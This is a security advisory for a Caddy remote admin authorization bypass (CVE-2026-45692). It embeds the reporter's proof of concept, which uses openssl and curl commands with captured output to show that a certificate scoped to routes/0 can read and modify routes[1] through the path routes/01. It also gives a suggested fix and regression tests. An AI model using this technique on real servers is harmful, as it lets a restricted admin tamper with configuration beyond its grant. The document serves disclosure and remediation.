CVE-2026-45692: Caddy Remote Admin Authorization Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-x5w9-xh9r-mvfc
CVSS 5.4
CWE-187 CWE-863
Published
Advisory Summary

CVE-2026-45692 is a MODERATE (CVSS 5.4) remote admin authorization bypass vulnerability (CWE-187: Partial String Comparison) affecting Caddy libraries in the Go ecosystem. The issue involves remote admin authorization bypass in `/config` api via array index normalization. Remediation is available by upgrading affected packages to version 2.11.3.

CVE-2026-45692 at a Glance

CVE Identifier CVE-2026-45692
GHSA Identifier GHSA-x5w9-xh9r-mvfc
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-187: Partial String Comparison
Affected Product Caddy
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-45692

To remediate this vulnerability, upgrade all affected Caddy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/caddyserver/caddy/v2 fixed: 2.11.3
Upgrade github.com/caddyserver/caddy/v2 to 2.11.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/caddyserver/caddy/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45692, inspect your project dependencies for Caddy:

inspect dependencies for github.com/caddyserver/caddy/v2

Analyze the terminal output to locate any version of Caddy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-187: Partial String Comparison, where the product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses. In Caddy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

This report is not about a normal textual prefix-expansion case. The issue here is that the authorization layer and the `/config` traversal layer do **not agree on what object the path refers to**. In this case, a path authorized for one config object is accepted, but then resolves to a **different config object** during traversal. ## AI Disclosure The reporter used an LLM to help review the code, reason about the behavior, and help draft this report. The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below. ## Summary A remote admin client certificate restricted to the following path: ```text /config/apps/http/servers/srv/routes/0 ``` can still read and modify a different array element by requesting: /config/apps/http/servers/srv/routes/01 This happens because: - the authorization layer uses string prefix matching - the /config traversal layer parses array indices numerically using strconv.Atoi() So: - authorization sees /.../01 as matching /.../0 - traversal resolves 01 to numeric index 1 - the request therefore targets routes[1], not routes[0] This is not just a prefix-match quirk. It is an authorization-to-object mismatch. ## Why This Is In Scope This is a security bug in Caddy's own code: - no browser behavior is involved - no dependency bug is involved - no external system compromise is involved - no third-party software compromise is required - no unsafe content hosting or file upload is required This is also not just “an unsafe configuration”. The configuration explicitly attempts to limit access to one specific path: /config/apps/http/servers/srv/routes/0 But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component. In short: - configured authorization target: routes[0] - actual accessed object: routes[1] That difference is caused by Caddy itself. ## Relevant Source Code Authorization path matching: - admin.go:719 Authorization config comment: - admin.go:213 Config traversal with numeric parsing: - admin.go:1201 - admin.go:1310 ## Root Cause ### Authorization layer ``` for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } } ``` ### Traversal layer idx, err = strconv.Atoi(idxStr) and later: partInt, err := strconv.Atoi(part) Because of that: - allowed path: /config/.../routes/0 - requested path: /config/.../routes/01 - authorization decision: allowed - actual object selected: routes[1] ## Why This Is Not Just a “Prefix” Case For a normal path hierarchy, a “subpath” means a child resource of the same authorized object. For example: - /config/apps/http - /config/apps/http/servers - /config/apps/http/servers/srv/routes/0/handle Those are genuine deeper descendants. But this case is different. Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index. So: - /routes/0 means routes[0] - /routes/01 means routes[1] - /routes/02 means routes[2] That means /routes/01 is not a child of routes[0] in object semantics. It is a different array element entirely. So even if prefix matching is documented, this case is different because: - authorization uses the textual form - traversal uses the numeric form - the two refer to different objects This should be treated as an authorization bug rather than a documented prefix behavior. ## Security Impact A remote admin identity restricted to one /config array element can: - read a different array element - modify a different array element This breaks least-privilege remote admin policies. In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array. ## Affected Product Tested on: v2.11.2-3-gdf65455b Affected area: - remote admin - admin.remote.access_control.permissions.paths - /config API paths containing numeric array indices The reporter reproduced this on current HEAD. ## Minimal Reproduction Configuration ``` { "storage": { "module": "file_system", "root": "/tmp/caddy-config-index-storage" }, "admin": { "listen": "127.0.0.1:2029", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2031", "access_control": [ { "public_keys": ["<CLIENT_CERT_BASE64_DER>"], "permissions": [ { "methods": ["GET", "PATCH"], "paths": ["/config/apps/http/servers/srv/routes/0"] } ] } ] } }, "apps": { "http": { "servers": { "srv": { "listen": [":9088"], "routes": [ { "handle": [ { "handler": "static_response", "body": "route zero" } ] }, { "handle": [ { "handler": "static_response", "body": "route one" } ] } ] } } } } } ``` ## Commands ### 1. Generate client certificate ``` openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt ``` ### 2. Convert to base64 DER ``` CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')" ``` ### 3. Start Caddy ``` go run ./cmd/caddy run --config ./repro.json ``` ## Specific Minimal Reproduction Steps ### Step 1: Read the explicitly authorized object ``` curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/0 ``` Observed result: ``` < HTTP/1.1 200 OK {"handle":[{"body":"route zero","handler":"static_response"}]} ``` ### Step 2: Read a different object using a leading-zero index ``` curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01 ``` Observed result: ``` < HTTP/1.1 200 OK {"handle":[{"body":"route one","handler":"static_response"}]} ``` This shows that a client limited to routes/0 can read routes[1]. ### Step 3: Confirm that the traversal layer is interpreting the component numerically ``` curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/02 ``` Observed result: ``` < HTTP/1.1 400 Bad Request {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"} ``` This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices. ### Step 4: Modify the unauthorized object ``` curl -vk \ -X PATCH \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ -H 'Content-Type: application/json' \ --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \ https://localhost:2031/config/apps/http/servers/srv/routes/01 ``` Observed result: ``` < HTTP/1.1 200 OK ``` ### Step 5: Confirm the unauthorized modification ``` curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01 ``` Observed result: ``` < HTTP/1.1 200 OK {"handle":[{"body":"patched route one","handler":"static_response"}]} ``` That confirms the client was able to modify routes[1], even though only /routes/0 was authorized. ## Precise Requests and Captured Output ### Authorized read ``` > GET /config/apps/http/servers/srv/routes/0 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3" < {"handle":[{"body":"route zero","handler":"static_response"}]} ``` ### Unauthorized read ``` > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d" < {"handle":[{"body":"route one","handler":"static_response"}]} ``` ### Numeric index interpretation evidence ``` > GET /config/apps/http/servers/srv/routes/02 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* < < HTTP/1.1 400 Bad Request < {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"} ``` ### Unauthorized modification ``` > PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > Content-Type: application/json > Content-Length: 69 < < HTTP/1.1 200 OK ``` ### Confirmation of unauthorized modification ``` > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0" < {"handle":[{"body":"patched route one","handler":"static_response"}]} ``` ## Full Log Output Relevant startup logs from the reproduction run: ``` root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json 2026/03/20 02:10:51.148 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/20 02:10:51.148 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/20 02:10:51.148 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"} 2026/03/20 02:10:51.149 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:10:51.149 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:10:51.149 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:10:51.149 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:10:51.149 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc0003d7580"} 2026/03/20 02:10:51.149 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc00026fd00"} 2026/03/20 02:10:51.149 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:10:51.149 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:10:51.149 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:10:51.149 INFO serving initial configuration 2026/03/20 02:10:51.156 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:10:51.156", "try_again_in": 86399.999999609} 2026/03/20 02:10:51.156 INFO tls finished cleaning storage units 2026/03/20 02:11:14.787 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "59932", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:11:22.116 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "40070", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} pkill -f '/tmp/caddy-config-index-repro.json' ^C2026/03/20 02:13:47.114 INFO shutting down {"signal": "SIGINT"} 2026/03/20 02:13:47.114 WARN exiting; byeee!! 👋 {"signal": "SIGINT"} 2026/03/20 02:13:47.114 INFO http servers shutting down with eternal grace period 2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2031"} 2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2029"} 2026/03/20 02:13:47.114 INFO shutdown complete {"signal": "SIGINT", "exit_code": 0} root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json' root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json' root@dbdd95a60758:/caddy# ps -ef | rg 'caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json' bash: rg: command not found root@dbdd95a60758:/caddy# ss -ltnp | rg ':2029|:2031|:9088' bash: rg: command not found root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json 2026/03/20 02:14:52.698 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/20 02:14:52.698 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/20 02:14:52.698 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"} 2026/03/20 02:14:52.698 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:14:52.699 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:14:52.699 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:14:52.699 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:14:52.699 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc00011d900"} 2026/03/20 02:14:52.699 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc000276800"} 2026/03/20 02:14:52.699 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:14:52.699 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:14:52.699 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:14:52.699 INFO serving initial configuration 2026/03/20 02:14:52.706 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:14:52.706", "try_again_in": 86399.999999659} 2026/03/20 02:14:52.706 INFO tls finished cleaning storage units 2026/03/20 02:15:17.145 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "35382", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:28.746 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "38998", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:33.180 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/02", "remote_ip": "127.0.0.1", "remote_port": "46698", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:33.180 ERROR admin.api request error {"error": "[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02", "status_code": 400} 2026/03/20 02:15:39.610 INFO admin.api received request {"method": "PATCH", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "46712", "headers": {"Accept":["*/*"],"Content-Length":["69"],"Content-Type":["application/json"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:39.610 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:15:39.610 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:15:39.610 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:15:39.610 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:15:39.610 INFO admin stopped previous server {"address": "127.0.0.1:2029"} 2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance stopped background certificate maintenance {"cache": "0xc000276800"} 2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0005b6a00"} 2026/03/20 02:15:39.611 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:15:39.611 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:15:39.611 INFO http servers shutting down with eternal grace period 2026/03/20 02:15:39.611 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:15:39.612 INFO admin stopped previous server {"address": "127.0.0.1:2031"} 2026/03/20 02:15:49.018 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "53712", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} ``` ``` root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/0 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /config/apps/http/servers/srv/routes/0 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3" < Date: Fri, 20 Mar 2026 02:15:17 GMT < Content-Length: 63 < {"handle":[{"body":"route zero","handler":"static_response"}]} * Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d" < Date: Fri, 20 Mar 2026 02:15:28 GMT < Content-Length: 62 < {"handle":[{"body":"route one","handler":"static_response"}]} * Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/02 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /config/apps/http/servers/srv/routes/02 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 400 Bad Request < Content-Type: application/json < Date: Fri, 20 Mar 2026 02:15:33 GMT < Content-Length: 84 < {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"} * Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ -X PATCH \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ -H 'Content-Type: application/json' \ --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \ https://localhost:2031/config/apps/http/servers/srv/routes/01 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > Content-Type: application/json > Content-Length: 69 > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Date: Fri, 20 Mar 2026 02:15:39 GMT < Content-Length: 0 < Connection: close < * Closing connection * TLSv1.3 (IN), TLS alert, close notify (256): * TLSv1.3 (OUT), TLS alert, close notify (256): root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0" < Date: Fri, 20 Mar 2026 02:15:49 GMT < Content-Length: 70 < {"handle":[{"body":"patched route one","handler":"static_response"}]} * Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# ``` ## Suggested Fix The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path. A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization. For example: - allow 0 - allow 1 - reject 01 - reject 002 One possible helper: ``` func parseCanonicalIndex(s string) (int, error) { if s == "" { return 0, fmt.Errorf("empty index") } if s != "0" && strings.HasPrefix(s, "0") { return 0, fmt.Errorf("non-canonical array index") } return strconv.Atoi(s) } ``` Then use that helper anywhere /config array indices are parsed. ## Why This Fix Makes Sense This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit. It would still allow: - /routes/0 - /routes/1 but reject: - /routes/01 - /routes/002 That removes the authorization/resource mismatch. ## Suggested Regression Tests 1. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed. 2. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid. 3. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid. 4. With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].

CVE-2026-45692 Affected Caddy Versions

1 component(s)
Fixed Versions:
2.11.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/caddyserver/caddy/v2
Go
≥ 2.4.0
< 2.11.3
2.11.3

References

Frequently Asked Questions

What is CVE-2026-45692?
CVE-2026-45692 is a security vulnerability in Caddy involving Remote Admin Authorization Bypass in `/config` API via Array Index Normalization under CWE-187: Partial String Comparison.
Which Caddy versions are affected?
Affected versions include releases prior to 2.11.3 across affected packages: github.com/caddyserver/caddy/v2.
What version fixes CVE-2026-45692?
Upgrading to 2.11.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/caddyserver/caddy/v2 affected?
